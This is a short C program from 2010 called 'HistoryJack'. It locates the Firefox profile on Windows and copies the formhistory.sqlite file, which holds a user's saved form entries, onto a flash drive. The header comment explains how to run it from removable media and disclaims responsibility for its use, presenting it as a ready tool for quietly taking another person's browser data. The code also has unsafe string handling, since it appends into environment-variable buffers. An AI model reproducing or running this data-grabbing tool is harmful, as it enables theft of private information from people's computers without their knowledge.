/* HistoryJack 1/23/2010 logickills http://logickills.org Exports formhistory.sqlite file from firefox browser to a flash drive or other removable media. This program is able to differentiate between versions of windows so it can find the correct path associated with the the browser. In order to use save this file to flashdrive. Once program is run from flashdrive it will grab the .sqlite file and place it on the flashdrive. In order to view sqlite files use http://sourceforge.net/projects/sqlitebrowser/. I am not responsible for anything that you do with this code. I made this in like 30 minutes so don't complain. <3 LogicKills */ #include <stdio.h> #include <windows.h> #include <dirent.h> char* getPath(); char** findProfile(char* directoryLocation); char* combineStrings(char* profile, char* path); int main() { char* directoryLocation = getPath(); static char ** files = findProfile(directoryLocation); char* removeableMedia = _getcwd( NULL, 0 ); char* ToFileName = strncat(removeableMedia,"\\history.sqlite",19); char* endPath = combineStrings(files[2],directoryLocation); CopyFile(endPath,ToFileName,TRUE); return 0; } char* getPath() { char* appPath; char* usrPath; char* fullPath; char* drive = getenv("SYSTEMDRIVE"); char* user = getenv("USERNAME"); OSVERSIONINFO info; info.dwOSVersionInfoSize = sizeof(info); GetVersionEx(&info); if (info.dwMajorVersion >= 6) { appPath = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"; usrPath = "\\Users\\"; } else { appPath = "\\Application Data\\Mozilla\\Firefox\\Profiles"; usrPath = "\\Documents and Settings\\"; } strncat(drive,usrPath,strlen(usrPath) + 1); strncat(drive,user,strlen(user) + 1); strncat(drive,appPath,strlen(appPath) + 1); fullPath = drive; return (fullPath); } char** findProfile(char* path) { DIR *dir = opendir (path); size_t filecount = 0; size_t i = 0; struct dirent *dp; char **files; if (dir == NULL) { return NULL; } while ((dp = readdir (dir)) != NULL) { filecount++; } files = (char **) malloc (filecount * sizeof (*files)); if (files == NULL) { return NULL; } rewinddir (dir); while ((dp = readdir (dir)) != NULL) { files[i] = strdup (dp->d_name); if (files[i] == NULL) { while (i > 0) { free (files[--i]); } free (files); return NULL; } i++; } closedir (dir); return files; } char* combineStrings(char* profile, char* path) { strncat(path,"\\",3); strncat(path,profile,strlen(profile) +1); strncat(path,"\\formhistory.sqlite",30); return path; }